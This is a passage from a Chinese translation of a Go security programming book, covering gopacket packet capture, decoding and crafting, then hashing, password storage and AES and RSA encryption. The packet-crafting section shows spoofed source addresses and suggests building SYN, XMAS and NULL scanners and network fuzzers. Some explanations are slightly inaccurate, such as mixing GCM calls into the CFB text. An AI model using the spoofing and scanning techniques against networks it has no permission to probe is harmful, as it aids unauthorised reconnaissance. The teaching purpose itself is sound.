w.WriteFileHeader(uint32(snapshotLen), layers.LinkTypeEthernet)
defer f.Close()
// Open the device for capturing
handle, err = pcap.OpenLive(deviceName, snapshotLen, promiscuous,
timeout)
if err != nil {
fmt.Printf("Error opening device %s: %v", deviceName, err)
os.Exit(1)
}
defer handle.Close()
// Start processing packets
packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
for packet := range packetSource.Packets() {
// Process packet here
fmt.Println(packet)
w.WritePacket(packet.Metadata().CaptureInfo, packet.Data())
packetCount++
// Only capture 100 and then stop
if packetCount > 100 {
break
}
}
}
从 pcap 文件中读取
除了打开设备进行实时捕获外,你还可以打开一个 pcap 文件进行离线检查。获取句柄后,无论是通过pcap.OpenLive()还是pcap.OpenOffline()获得的,句柄的处理方式是相同的。创建句柄后,实时设备和捕获文件之间没有区别,唯一的区别是实时设备会继续传送数据包,而文件最终会结束。
你可以读取任何通过libpcap客户端(包括 Wireshark、tcpdump或其他gopacket应用程序)捕获的 pcap 文件。此示例使用pcap.OpenOffline()打开名为test.pcap的文件,然后使用range遍历数据包并打印基本的数据包信息。将文件名从test.pcap更改为你想要读取的任何文件:
package main
// Use tcpdump to create a test file
// tcpdump -w test.pcap
// or use the example above for writing pcap files
import (
"fmt"
"github.com/google/gopacket"
"github.com/google/gopacket/pcap"
"log"
)
var (
pcapFile = "test.pcap"
handle *pcap.Handle
err error
)
func main() {
// Open file instead of device
handle, err = pcap.OpenOffline(pcapFile)
if err != nil {
log.Fatal(err)
}
defer handle.Close()
// Loop through packets in file
packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
for packet := range packetSource.Packets() {
fmt.Println(packet)
}
}
解码数据包层
数据包可以通过packet.Layer()函数逐层解码。该程序将检查数据包,查找 TCP 流量,然后输出以太网层、IP 层、TCP 层和应用层信息。当到达应用层时,它会查找HTTP关键字,如果发现,则输出一条消息:
package main
import (
"fmt"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"log"
"strings"
"time"
)
var (
device = "eth0"
snapshotLen int32 = 1024
promiscuous = false
err error
timeout = 30 * time.Second
handle *pcap.Handle
)
func main() {
// Open device
handle, err = pcap.OpenLive(device, snapshotLen, promiscuous,
timeout)
if err != nil {
log.Fatal(err)
}
defer handle.Close()
packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
for packet := range packetSource.Packets() {
printPacketInfo(packet)
}
}
func printPacketInfo(packet gopacket.Packet) {
// Let's see if the packet is an ethernet packet
ethernetLayer := packet.Layer(layers.LayerTypeEthernet)
if ethernetLayer != nil {
fmt.Println("Ethernet layer detected.")
ethernetPacket, _ := ethernetLayer.(*layers.Ethernet)
fmt.Println("Source MAC: ", ethernetPacket.SrcMAC)
fmt.Println("Destination MAC: ", ethernetPacket.DstMAC)
// Ethernet type is typically IPv4 but could be ARP or other
fmt.Println("Ethernet type: ", ethernetPacket.EthernetType)
fmt.Println()
}
// Let's see if the packet is IP (even though the ether type told
//us)
ipLayer := packet.Layer(layers.LayerTypeIPv4)
if ipLayer != nil {
fmt.Println("IPv4 layer detected.")
ip, _ := ipLayer.(*layers.IPv4)
// IP layer variables:
// Version (Either 4 or 6)
// IHL (IP Header Length in 32-bit words)
// TOS, Length, Id, Flags, FragOffset, TTL, Protocol (TCP?),
// Checksum, SrcIP, DstIP
fmt.Printf("From %s to %s\n", ip.SrcIP, ip.DstIP)
fmt.Println("Protocol: ", ip.Protocol)
fmt.Println()
}
// Let's see if the packet is TCP
tcpLayer := packet.Layer(layers.LayerTypeTCP)
if tcpLayer != nil {
fmt.Println("TCP layer detected.")
tcp, _ := tcpLayer.(*layers.TCP)
// TCP layer variables:
// SrcPort, DstPort, Seq, Ack, DataOffset, Window, Checksum,
//Urgent
// Bool flags: FIN, SYN, RST, PSH, ACK, URG, ECE, CWR, NS
fmt.Printf("From port %d to %d\n", tcp.SrcPort, tcp.DstPort)
fmt.Println("Sequence number: ", tcp.Seq)
fmt.Println()
}
// Iterate over all layers, printing out each layer type
fmt.Println("All packet layers:")
for _, layer := range packet.Layers() {
fmt.Println("- ", layer.LayerType())
}
// When iterating through packet.Layers() above,
// if it lists Payload layer then that is the same as
// this applicationLayer. applicationLayer contains the payload
applicationLayer := packet.ApplicationLayer()
if applicationLayer != nil {
fmt.Println("Application layer/Payload found.")
fmt.Printf("%s\n", applicationLayer.Payload())
// Search for a string inside the payload
if strings.Contains(string(applicationLayer.Payload()), "HTTP")
{
fmt.Println("HTTP found!")
}
}
// Check for errors
if err := packet.ErrorLayer(); err != nil {
fmt.Println("Error decoding some part of the packet:", err)
}
}
创建自定义层
你不局限于最常见的层次,如以太网、IP 和 TCP。你可以创建自己的层次。对于大多数人来说,这种功能的使用范围有限,但在某些极其罕见的情况下,替换 TCP 层为定制的层,以满足特定需求,可能是有意义的。
这个示例演示了如何创建一个自定义层。这对于实现gopacket/layers包中未包含的协议非常有用。gopacket已包含超过 100 种层类型。你可以在任何层次创建自定义层。
这段代码做的第一件事是定义一个自定义数据结构来表示我们的层。该数据结构不仅保存我们的自定义数据(SomeByte和AnotherByte),还需要一个字节切片来存储其余的实际有效负载以及任何其他层(restOfData):
package main
import (
"fmt"
"github.com/google/gopacket"
)
// Create custom layer structure
type CustomLayer struct {
// This layer just has two bytes at the front
SomeByte byte
AnotherByte byte
restOfData []byte
}
// Register the layer type so we can use it
// The first argument is an ID. Use negative
// or 2000+ for custom layers. It must be unique
var CustomLayerType = gopacket.RegisterLayerType(
2001,
gopacket.LayerTypeMetadata{
"CustomLayerType",
gopacket.DecodeFunc(decodeCustomLayer),
},
)
// When we inquire about the type, what type of layer should
// we say it is? We want it to return our custom layer type
func (l CustomLayer) LayerType() gopacket.LayerType {
return CustomLayerType
}
// LayerContents returns the information that our layer
// provides. In this case it is a header layer so
// we return the header information
func (l CustomLayer) LayerContents() []byte {
return []byte{l.SomeByte, l.AnotherByte}
}
// LayerPayload returns the subsequent layer built
// on top of our layer or raw payload
func (l CustomLayer) LayerPayload() []byte {
return l.restOfData
}
// Custom decode function. We can name it whatever we want
// but it should have the same arguments and return value
// When the layer is registered we tell it to use this decode function
func decodeCustomLayer(data []byte, p gopacket.PacketBuilder) error {
// AddLayer appends to the list of layers that the packet has
p.AddLayer(&CustomLayer{data[0], data[1], data[2:]})
// The return value tells the packet what layer to expect
// with the rest of the data. It could be another header layer,
// nothing, or a payload layer.
// nil means this is the last layer. No more decoding
// return nil
// Returning another layer type tells it to decode
// the next layer with that layer's decoder function
// return p.NextDecoder(layers.LayerTypeEthernet)
// Returning payload type means the rest of the data
// is raw payload. It will set the application layer
// contents with the payload
return p.NextDecoder(gopacket.LayerTypePayload)
}
func main() {
// If you create your own encoding and decoding you can essentially
// create your own protocol or implement a protocol that is not
// already defined in the layers package. In our example we are
// just wrapping a normal ethernet packet with our own layer.
// Creating your own protocol is good if you want to create
// some obfuscated binary data type that was difficult for others
// to decode. Finally, decode your packets:
rawBytes := []byte{0xF0, 0x0F, 65, 65, 66, 67, 68}
packet := gopacket.NewPacket(
rawBytes,
CustomLayerType,
gopacket.Default,
)
fmt.Println("Created packet out of raw bytes.")
fmt.Println(packet)
// Decode the packet as our custom layer
customLayer := packet.Layer(CustomLayerType)
if customLayer != nil {
fmt.Println("Packet was successfully decoded.")
customLayerContent, _ := customLayer.(*CustomLayer)
// Now we can access the elements of the custom struct
fmt.Println("Payload: ", customLayerContent.LayerPayload())
fmt.Println("SomeByte element:", customLayerContent.SomeByte)
fmt.Println("AnotherByte element:",
customLayerContent.AnotherByte)
}
}
字节与数据包之间的转换
在某些情况下,可能有原始字节,你想将其转换为数据包,或者反之亦然。这个示例创建了一个简单的数据包,然后获取组成该数据包的原始字节。原始字节随后被转换回数据包,以演示这个过程。
在这个示例中,我们将使用gopacket.SerializeLayers()创建并序列化一个数据包。该数据包由几个层次组成:以太网、IP、TCP 和有效负载。在序列化过程中,如果任何数据包返回 nil,这意味着它无法解码为正确的层(格式错误或不正确的数据包类型)。在将数据包序列化到缓冲区后,我们将通过buffer.Bytes()获取组成数据包的原始字节的副本。借助这些原始字节,我们可以使用gopacket.NewPacket()逐层解码数据。通过利用SerializeLayers(),你可以将数据包结构体转换为原始字节,使用gopacket.NewPacket(),你可以将原始字节转换回结构化数据。
NewPacket()将原始字节作为第一个参数。第二个参数是你想解码的最低层次,它会解码该层及其之上的所有层。NewPacket()的第三个参数是解码类型,必须是以下之一:
-
gopacket.Default:这是一次性解码所有内容,最安全的方法。 -
gopacket.Lazy:这是按需解码,但它不是并发安全的。 -
gopacket.NoCopy:这将不会创建缓冲区的副本。仅当你可以保证内存中的数据包数据不会改变时,才使用它。
下面是将数据包结构体转换为字节并再次转换回数据包的完整代码:
package main
import (
"fmt"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
)
func main() {
payload := []byte{2, 4, 6}
options := gopacket.SerializeOptions{}
buffer := gopacket.NewSerializeBuffer()
gopacket.SerializeLayers(buffer, options,
&layers.Ethernet{},
&layers.IPv4{},
&layers.TCP{},
gopacket.Payload(payload),
)
rawBytes := buffer.Bytes()
// Decode an ethernet packet
ethPacket :=
gopacket.NewPacket(
rawBytes,
layers.LayerTypeEthernet,
gopacket.Default,
)
// with Lazy decoding it will only decode what it needs when it
//needs it
// This is not concurrency safe. If using concurrency, use default
ipPacket :=
gopacket.NewPacket(
rawBytes,
layers.LayerTypeIPv4,
gopacket.Lazy,
)
// With the NoCopy option, the underlying slices are referenced
// directly and not copied. If the underlying bytes change so will
// the packet
tcpPacket :=
gopacket.NewPacket(
rawBytes,
layers.LayerTypeTCP,
gopacket.NoCopy,
)
fmt.Println(ethPacket)
fmt.Println(ipPacket)
fmt.Println(tcpPacket)
}
创建和发送数据包
这个示例做了几件事。首先,它会展示如何使用网络设备发送原始字节,因此你几乎可以像串行连接一样使用它来发送数据。这对于低级别的数据传输非常有用,但如果你想与应用程序交互,你可能想构建一个其他硬件和软件可以识别的数据包。
接下来它会展示如何创建一个包含以太网、IP 和 TCP 层的数据包。不过,这些层都是默认的且为空的,所以它实际上并没有做什么。
最后,我们将创建另一个数据包,但这次我们会为以太网层填入一些 MAC 地址,为 IPv4 填入一些 IP 地址,为 TCP 层填入端口号。你应该能看到如何伪造数据包并模拟设备。
TCP 层结构有布尔字段,用于SYN、FIN和ACK标志,这些标志可以读取或设置。这对于操作和模糊化 TCP 握手、会话以及端口扫描非常有用。
pcap库提供了一个简单的发送字节的方式,而gopacket中的layers包帮助我们为各层创建字节结构。
以下是此示例的代码实现:
package main
import (
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"log"
"net"
"time"
)
var (
device = "eth0"
snapshotLen int32 = 1024
promiscuous = false
err error
timeout = 30 * time.Second
handle *pcap.Handle
buffer gopacket.SerializeBuffer
options gopacket.SerializeOptions
)
func main() {
// Open device
handle, err = pcap.OpenLive(device, snapshotLen, promiscuous,
timeout)
if err != nil {
log.Fatal("Error opening device. ", err)
}
defer handle.Close()
// Send raw bytes over wire
rawBytes := []byte{10, 20, 30}
err = handle.WritePacketData(rawBytes)
if err != nil {
log.Fatal("Error writing bytes to network device. ", err)
}
// Create a properly formed packet, just with
// empty details. Should fill out MAC addresses,
// IP addresses, etc.
buffer = gopacket.NewSerializeBuffer()
gopacket.SerializeLayers(buffer, options,
&layers.Ethernet{},
&layers.IPv4{},
&layers.TCP{},
gopacket.Payload(rawBytes),
)
outgoingPacket := buffer.Bytes()
// Send our packet
err = handle.WritePacketData(outgoingPacket)
if err != nil {
log.Fatal("Error sending packet to network device. ", err)
}
// This time lets fill out some information
ipLayer := &layers.IPv4{
SrcIP: net.IP{127, 0, 0, 1},
DstIP: net.IP{8, 8, 8, 8},
}
ethernetLayer := &layers.Ethernet{
SrcMAC: net.HardwareAddr{0xFF, 0xAA, 0xFA, 0xAA, 0xFF, 0xAA},
DstMAC: net.HardwareAddr{0xBD, 0xBD, 0xBD, 0xBD, 0xBD, 0xBD},
}
tcpLayer := &layers.TCP{
SrcPort: layers.TCPPort(4321),
DstPort: layers.TCPPort(80),
}
// And create the packet with the layers
buffer = gopacket.NewSerializeBuffer()
gopacket.SerializeLayers(buffer, options,
ethernetLayer,
ipLayer,
tcpLayer,
gopacket.Payload(rawBytes),
)
outgoingPacket = buffer.Bytes()
}
更快速地解码数据包
如果我们知道预期的层级,我们可以使用现有结构来存储数据包信息,而不是为每个数据包创建新的结构,这样既能节省时间,也能节省内存。使用DecodingLayerParser会更快,这就像是数据的编组和解编组。
本示例演示了如何在程序开始时创建层变量,并反复使用相同的变量,而不是为每个数据包创建新的变量。通过gopacket.NewDecodingLayerParser()创建一个解析器,并提供我们想要使用的层变量。这里的一个注意事项是,它仅解码你最初创建的层类型。
以下是此示例的代码实现:
package main
import (
"fmt"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"log"
"time"
)
var (
device = "eth0"
snapshotLen int32 = 1024
promiscuous = false
err error
timeout = 30 * time.Second
handle *pcap.Handle
// Reuse these for each packet
ethLayer layers.Ethernet
ipLayer layers.IPv4
tcpLayer layers.TCP
)
func main() {
// Open device
handle, err = pcap.OpenLive(device, snapshotLen, promiscuous,
timeout)
if err != nil {
log.Fatal(err)
}
defer handle.Close()
packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
for packet := range packetSource.Packets() {
parser := gopacket.NewDecodingLayerParser(
layers.LayerTypeEthernet,
ðLayer,
&ipLayer,
&tcpLayer,
)
foundLayerTypes := []gopacket.LayerType{}
err := parser.DecodeLayers(packet.Data(), &foundLayerTypes)
if err != nil {
fmt.Println("Trouble decoding layers: ", err)
}
for _, layerType := range foundLayerTypes {
if layerType == layers.LayerTypeIPv4 {
fmt.Println("IPv4: ", ipLayer.SrcIP, "->", ipLayer.DstIP)
}
if layerType == layers.LayerTypeTCP {
fmt.Println("TCP Port: ", tcpLayer.SrcPort,
"->", tcpLayer.DstPort)
fmt.Println("TCP SYN:", tcpLayer.SYN, " | ACK:",
tcpLayer.ACK)
}
}
}
}
总结
阅读完这一章后,你应该对gopacket包有了很好的理解。你应该能够使用本章中的示例编写一个简单的数据包捕获应用程序。再次强调,这并不是要记住所有的函数或关于各层的细节,重要的是要从高层次理解整体框架,并在开发和实现应用程序时能够回忆起可用的工具。
尝试根据这些示例编写你自己的程序,以捕获来自你计算机的有趣网络流量。尝试捕获并检查特定端口或应用程序,看看它在网络上传输的方式。观察使用加密的应用程序与通过明文传输数据的应用程序之间的差异。你可能还想捕获后台所有的流量,看看即使你在计算机空闲时,哪些应用程序在网络上很活跃。
使用gopacket库可以构建各种有用的工具。除了基本的数据包捕获以供后续查看外,你还可以实现一个监控系统,当检测到流量突然激增时进行警报,或者用于识别异常流量。
因为gopacket库也可以用来发送数据包,所以可以创建一个高度定制化的端口扫描器。你可以构造原始数据包来执行仅进行 TCP SYN 扫描的操作,这种扫描中连接从未完全建立;XMAS 扫描,所有标志位都会被打开;NULL 扫描,所有字段都设置为 null;以及其他各种扫描,需要对发送的数据包进行完全控制,包括故意发送格式错误的数据包。你还可以构建模糊测试工具,向网络服务发送不良数据包,以查看它的反应。所以,看看你能想到哪些创意吧。
在下一章,我们将探讨 Go 中的密码学。我们将从哈希算法、校验和、以及安全存储密码开始。然后我们将讨论对称加密和非对称加密,它们是什么,有什么不同,为什么它们有用,以及如何在 Go 中使用它们。我们还将研究如何创建带有证书的加密服务器,以及如何使用加密客户端进行连接。理解密码学的应用对于现代安全至关重要,因此我们将重点讨论最常见和最实际的使用案例。
第六章:密码学
密码学是保障通信安全的实践,即使第三方可以查看这些通信。它包括双向对称和非对称加密方法,以及单向哈希算法。
加密是现代互联网的关键部分。借助像 LetsEncrypt.com 这样的服务,所有人都能获得受信任的 SSL 证书。我们的整个基础设施依赖并信任加密来确保所有机密数据的安全。正确地加密和哈希数据非常重要,且容易配置错误,导致服务漏洞或暴露。
本章涵盖以下内容的示例和用例:
-
对称和非对称加密
-
签名和验证消息
-
哈希
-
安全存储密码
-
生成安全的随机数
-
创建和使用 TLS/SSL 证书
哈希
哈希是将一个可变长度的消息转换为一个唯一的固定长度的字母数字字符串。有多种哈希算法可供选择,例如 MD5 和 SHA1。哈希是单向且不可逆的,不像对称加密函数(如 AES),后者如果有密钥就可以恢复原始消息。因为哈希无法反转,大多数哈希会被暴力破解。攻击者会利用多个 GPU 构建高功耗的计算设备,通过暴力穷举每一种可能的字符组合,直到找到匹配的哈希值。他们还会生成彩虹表或包含所有哈希输出的文件,以便快速查找。
为哈希添加盐值是很重要的原因。加盐是将一个随机字符串附加到用户提供的密码后面的过程,以增加更多的随机性或熵值。考虑一个存储用户登录信息和哈希密码以进行身份验证的应用程序。如果两个用户使用相同的密码,他们的哈希结果将是相同的。如果没有加盐,攻击者可能会发现多个使用相同密码的用户,并且只需要破解一次哈希值。通过为每个用户的密码添加唯一的盐值,你可以确保每个用户的哈希值都是唯一的。加盐减少了彩虹表的有效性,因为即使攻击者知道与每个哈希对应的盐值,他们也必须为每个盐值生成一个彩虹表,而这需要大量的时间。
哈希常用于验证密码。另一个常见的用途是文件完整性。大型下载通常会附带文件的 MD5 或 SHA1 哈希。下载后,你可以对文件进行哈希检查,确保它与预期值匹配。如果不匹配,那么下载的文件可能已被篡改。哈希还常用于记录妥协指标或 IOC(Indicators of Compromise)。已知的恶意或危险文件会被哈希,并将该哈希值存储在目录中。这些通常会公开分享,以便人们将可疑文件与已知风险进行对比。存储并比较哈希值比存储整个文件更高效。
哈希小文件
如果文件足够小,可以容纳在内存中,那么 ReadFile() 方法会很快工作。它将整个文件加载到内存中,然后进行数据摘要。为了演示,使用多种不同的哈希算法计算摘要值:
package main
import (
"crypto/md5"
"crypto/sha1"
"crypto/sha256"
"crypto/sha512"
"fmt"
"io/ioutil"
"log"
"os"
)
func printUsage() {
fmt.Println("Usage: " + os.Args[0] + " <filepath>")
fmt.Println("Example: " + os.Args[0] + " document.txt")
}
func checkArgs() string {
if len(os.Args) < 2 {
printUsage()
os.Exit(1)
}
return os.Args[1]
}
func main() {
filename := checkArgs()
// Get bytes from file
data, err := ioutil.ReadFile(filename)
if err != nil {
log.Fatal(err)
}
// Hash the file and output results
fmt.Printf("Md5: %x\n\n", md5.Sum(data))
fmt.Printf("Sha1: %x\n\n", sha1.Sum(data))
fmt.Printf("Sha256: %x\n\n", sha256.Sum256(data))
fmt.Printf("Sha512: %x\n\n", sha512.Sum512(data))
}
哈希大文件
在之前的哈希示例中,整个待哈希的文件在哈希处理前被加载到内存中。当文件达到一定大小时,这种做法既不实际也不可能。物理内存的限制将发挥作用。因为哈希是作为块加密实现的,它将逐块处理,而不需要一次性加载整个文件到内存中:
package main
import (
"crypto/md5"
"fmt"
"io"
"log"
"os"
)
func printUsage() {
fmt.Println("Usage: " + os.Args[0] + " <filename>")
fmt.Println("Example: " + os.Args[0] + " diskimage.iso")
}
func checkArgs() string {
if len(os.Args) < 2 {
printUsage()
os.Exit(1)
}
return os.Args[1]
}
func main() {
filename := checkArgs()
// Open file for reading
file, err := os.Open(filename)
if err != nil {
log.Fatal(err)
}
defer file.Close()
// Create new hasher, which is a writer interface
hasher := md5.New()
// Default buffer size for copying is 32*1024 or 32kb per copy
// Use io.CopyBuffer() if you want to specify the buffer to use
// It will write 32kb at a time to the digest/hash until EOF
// The hasher implements a Write() function making it satisfy
// the writer interface. The Write() function performs the digest
// at the time the data is copied/written to it. It digests
// and processes the hash one chunk at a time as it is received.
_, err = io.Copy(hasher, file)
if err != nil {
log.Fatal(err)
}
// Now get the final sum or checksum.
// We pass nil to the Sum() function because
// we already copied the bytes via the Copy to the
// writer interface and don't need to pass any new bytes
checksum := hasher.Sum(nil)
fmt.Printf("Md5 checksum: %x\n", checksum)
}
安全存储密码
现在我们知道如何进行哈希处理后,可以讨论如何安全地存储密码。哈希处理在保护密码时非常重要。其他重要因素包括加盐、使用加密强度高的哈希函数,以及可选使用 基于哈希的消息认证码(HMAC),它们都会将额外的秘密密钥加入到哈希算法中。
HMAC 是一个额外的层,它使用一个秘密密钥;因此,即使攻击者获得了包含盐值的哈希密码数据库,没有秘密密钥他们也会很难破解这些密码。秘密密钥应存储在单独的位置,例如环境变量,而不是与哈希密码和盐值一起存储在数据库中。
这个示例应用本身用途有限。可以作为你自己应用的参考。
package main
import (
"crypto/hmac"
"crypto/rand"
"crypto/sha256"
"encoding/base64"
"encoding/hex"
"fmt"
"io"
"os"
)
func printUsage() {
fmt.Println("Usage: " + os.Args[0] + " <password>")
fmt.Println("Example: " + os.Args[0] + " Password1!")
}
func checkArgs() string {
if len(os.Args) < 2 {
printUsage()
os.Exit(1)
}
return os.Args[1]
}
// secretKey should be unique, protected, private,
// and not hard-coded like this. Store in environment var
// or in a secure configuration file.
// This is an arbitrary key that should only be used
// for example purposes.
var secretKey = "neictr98y85klfgneghre"
// Create a salt string with 32 bytes of crypto/rand data
func generateSalt() string {
randomBytes := make([]byte, 32)
_, err := rand.Read(randomBytes)
if err != nil {
return ""
}
return base64.URLEncoding.EncodeToString(randomBytes)
}
// Hash a password with the salt
func hashPassword(plainText string, salt string) string {
hash := hmac.New(sha256.New, []byte(secretKey))
io.WriteString(hash, plainText+salt)
hashedValue := hash.Sum(nil)
return hex.EncodeToString(hashedValue)
}
func main() {
// Get the password from command line argument
password := checkArgs()
salt := generateSalt()
hashedPassword := hashPassword(password, salt)
fmt.Println("Password: " + password)
fmt.Println("Salt: " + salt)
fmt.Println("Hashed password: " + hashedPassword)
}
加密
加密与哈希不同,因为加密是可逆的,原始消息可以被恢复。有些对称加密方法使用密码或共享密钥进行加密和解密。还有一些非对称加密算法使用公钥和私钥对来操作。AES 是对称加密的一个例子,它用于加密 ZIP 文件、PDF 文件或整个文件系统。RSA 是非对称加密的一个例子,它用于 SSL、SSH 密钥和 PGP。
加密安全伪随机数生成器(CSPRNG)
math 和 rand 包提供的随机性不如 crypto/rand 包。不要在加密应用中使用 math/rand。
了解更多关于 Go 的 crypto/rand 包的信息,请访问 golang.org/pkg/crypto/rand/。
以下示例将演示如何生成随机字节、随机整数或任何其他带符号或无符号类型的整数:
package main
import (
"crypto/rand"
"encoding/binary"
"fmt"
"log"
"math"
"math/big"
)
func main() {
// Generate a random int
limit := int64(math.MaxInt64) // Highest random number allowed
randInt, err := rand.Int(rand.Reader, big.NewInt(limit))
if err != nil {
log.Fatal(err)
}
fmt.Println("Random int value: ", randInt)
// Alternatively, you could generate the random bytes
// and turn them into the specific data type needed.
// binary.Read() will only read enough bytes to fill the data type
var number uint32
err = binary.Read(rand.Reader, binary.BigEndian, &number)
if err != nil {
log.Fatal(err)
}
fmt.Println("Random uint32 value: ", number)
// Or just generate a random byte slice
numBytes := 4
randomBytes := make([]byte, numBytes)
rand.Read(randomBytes)
fmt.Println("Random byte values: ", randomBytes)
}
对称加密
对称加密是指使用相同的密钥或密码来加密和解密数据。高级加密标准(AES),也称为 Rijndael,是由 NIST 于 2001 年标准化的对称加密算法。
数据加密标准(DES)是另一种对称加密算法,比 AES 更老且不那么安全。除非有特定的要求或规范,否则不应使用 DES 来替代 AES。Go 标准库包含 AES 和 DES 包。
AES
这个程序将使用一个密钥对文件进行加密和解密,该密钥本质上是一个 32 字节(256 位)的密码。
在生成密钥、加密或解密时,输出通常会被发送到STDOUT或终端。你可以使用>运算符轻松地将输出重定向到文件或其他程序。参考使用模式以获取示例。如果你需要将密钥或加密后的数据存储为 ASCII 编码的字符串,可以使用 base64 编码。
在这个示例中,你将看到信息被分成两个部分:初始化向量(IV)和密文。初始化向量(IV)是一个随机值,会被添加到实际的加密信息前面。每次使用 AES 加密信息时,都会生成一个随机值并作为加密的一部分。这个随机值被称为 nonce,意味着它只是一个仅使用一次的数字。
为什么这些一次性值会被创建?特别是,如果它们不是保密的,并且直接放在加密信息前面,这样做有什么意义?随机的初始化向量(IV)类似于盐值(salt)。它的主要作用是确保当相同的信息被反复加密时,每次生成的密文都不同。
要使用Galois/计数器模式(GCM)代替 CFB,请更改加密和解密方法。GCM 具有更好的性能和效率,因为它支持并行处理。可以在en.wikipedia.org/wiki/Galois/Counter_Mode上了解更多关于 GCM 的信息。
从 AES 密码开始,调用cipher.NewCFBEncrypter(block, iv)。然后,根据你是需要加密还是解密,你将调用.Seal()并传入你生成的 nonce,或者调用.Open()并传入分离的 nonce 和密文:
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"fmt"
"io"
"io/ioutil"
"os"
"log"
)
func printUsage() {
fmt.Printf(os.Args[0] + `
Encrypt or decrypt a file using AES with a 256-bit key file.
This program can also generate 256-bit keys.
Usage:
` + os.Args[0] + ` [-h|--help]
` + os.Args[0] + ` [-g|--genkey]
` + os.Args[0] + ` <keyFile> <file> [-d|--decrypt]
Examples:
# Generate a 32-byte (256-bit) key
` + os.Args[0] + ` --genkey
# Encrypt with secret key. Output to STDOUT
` + os.Args[0] + ` --genkey > secret.key
# Encrypt message using secret key. Output to ciphertext.dat
` + os.Args[0] + ` secret.key message.txt > ciphertext.dat
# Decrypt message using secret key. Output to STDOUT
` + os.Args[0] + ` secret.key ciphertext.dat -d
# Decrypt message using secret key. Output to message.txt
` + os.Args[0] + ` secret.key ciphertext.dat -d > cleartext.txt
`)
}
// Check command-line arguments.
// If the help or generate key functions are chosen
// they are run and then the program exits
// otherwise it returns keyFile, file, decryptFlag.
func checkArgs() (string, string, bool) {
if len(os.Args) < 2 || len(os.Args) > 4 {
printUsage()
os.Exit(1)
}
// One arg provided
if len(os.Args) == 2 {
// Only -h, --help and --genkey are valid one-argument uses
if os.Args[1] == "-h" || os.Args[1] == "--help" {
printUsage() // Print help text
os.Exit(0) // Exit gracefully no error
}
if os.Args[1] == "-g" || os.Args[1] == "--genkey" {
// Generate a key and print to STDOUT
// User should redirect output to a file if needed
key := generateKey()
fmt.Printf(string(key[:])) // No newline
os.Exit(0) // Exit gracefully
}
}
// The only use options left is
// encrypt <keyFile> <file> [-d|--decrypt]
// If there are only 2 args provided, they must be the
// keyFile and file without a decrypt flag.
if len(os.Args) == 3 {
// keyFile, file, decryptFlag
return os.Args[1], os.Args[2], false
}
// If 3 args are provided,
// check that the last one is -d or --decrypt
if len(os.Args) == 4 {
if os.Args[3] != "-d" && os.Args[3] != "--decrypt" {
fmt.Println("Error: Unknown usage.")
printUsage()
os.Exit(1) // Exit with error code
}
return os.Args[1], os.Args[2], true
}
return "", "", false // Default blank return
}
func generateKey() []byte {
randomBytes := make([]byte, 32) // 32 bytes, 256 bit
numBytesRead, err := rand.Read(randomBytes)
if err != nil {
log.Fatal("Error generating random key.", err)
}
if numBytesRead != 32 {
log.Fatal("Error generating 32 random bytes for key.")
}
return randomBytes
}
// AES encryption
func encrypt(key, message []byte) ([]byte, error) {
// Initialize block cipher
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
// Create the byte slice that will hold encrypted message
cipherText := make([]byte, aes.BlockSize+len(message))
// Generate the Initialization Vector (IV) nonce
// which is stored at the beginning of the byte slice
// The IV is the same length as the AES blocksize
iv := cipherText[:aes.BlockSize]
_, err = io.ReadFull(rand.Reader, iv)
if err != nil {
return nil, err
}
// Choose the block cipher mode of operation
// Using the cipher feedback (CFB) mode here.
// CBCEncrypter also available.
cfb := cipher.NewCFBEncrypter(block, iv)
// Generate the encrypted message and store it
// in the remaining bytes after the IV nonce
cfb.XORKeyStream(cipherText[aes.BlockSize:], message)
return cipherText, nil
}
// AES decryption
func decrypt(key, cipherText []byte) ([]byte, error) {
// Initialize block cipher
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
// Separate the IV nonce from the encrypted message bytes
iv := cipherText[:aes.BlockSize]
cipherText = cipherText[aes.BlockSize:]
// Decrypt the message using the CFB block mode
cfb := cipher.NewCFBDecrypter(block, iv)
cfb.XORKeyStream(cipherText, cipherText)
return cipherText, nil
}
func main() {
// if generate key flag, just output a key to stdout and exit
keyFile, file, decryptFlag := checkArgs()
// Load key from file
keyFileData, err := ioutil.ReadFile(keyFile)
if err != nil {
log.Fatal("Unable to read key file contents.", err)
}
// Load file to be encrypted or decrypted
fileData, err := ioutil.ReadFile(file)
if err != nil {
log.Fatal("Unable to read key file contents.", err)
}
// Perform encryption unless the decryptFlag was provided
// Outputs to STDOUT. User can redirect output to file.
if decryptFlag {
message, err := decrypt(keyFileData, fileData)
if err != nil {
log.Fatal("Error decrypting. ", err)
}
fmt.Printf("%s", message)
} else {
cipherText, err := encrypt(keyFileData, fileData)
if err != nil {
log.Fatal("Error encrypting. ", err)
}
fmt.Printf("%s", cipherText)
}
}
非对称加密
非对称加密是指每一方都有两个密钥。每一方都需要一对公钥和私钥。非对称加密算法包括 RSA、DSA 和 ECDSA。Go 标准库提供了 RSA、DSA 和 ECDSA 的包。使用非对称加密的应用程序包括安全外壳协议(SSH)、安全套接层(SSL)和非常好的隐私(PGP)。
SSL 是 安全套接字层,最初由 Netscape 开发,版本 2 于 1995 年公开发布。它用于加密服务器与客户端之间的通信,提供机密性、完整性和认证功能。TLS(传输层安全性)是 SSL 的新版本,1.2 版本于 2008 年作为 RFC 5246 定义。Go 的 TLS 包并没有完全实现该规范,但它实现了主要部分。阅读更多关于 Go 的 crypto/tls 包的信息,请访问 golang.org/pkg/crypto/tls/。
你只能加密小于密钥大小的内容,通常为 2048 位。因此,由于这个大小限制,非对称 RSA 加密不适合加密整个文档,因为文档容易超过 2048 位或 256 字节。另一方面,对称加密(如 AES)可以加密大文档,但它需要双方共享一个密钥。TLS/SSL 使用非对称加密和对称加密的结合。初始连接和握手使用非对称加密,涉及双方的公钥和私钥。一旦连接建立,就会生成并共享一个共享密钥。共享密钥一旦被双方知晓,非对称加密就会被弃用,接下来的通信将使用对称加密(如 AES),并使用共享密钥进行加密。
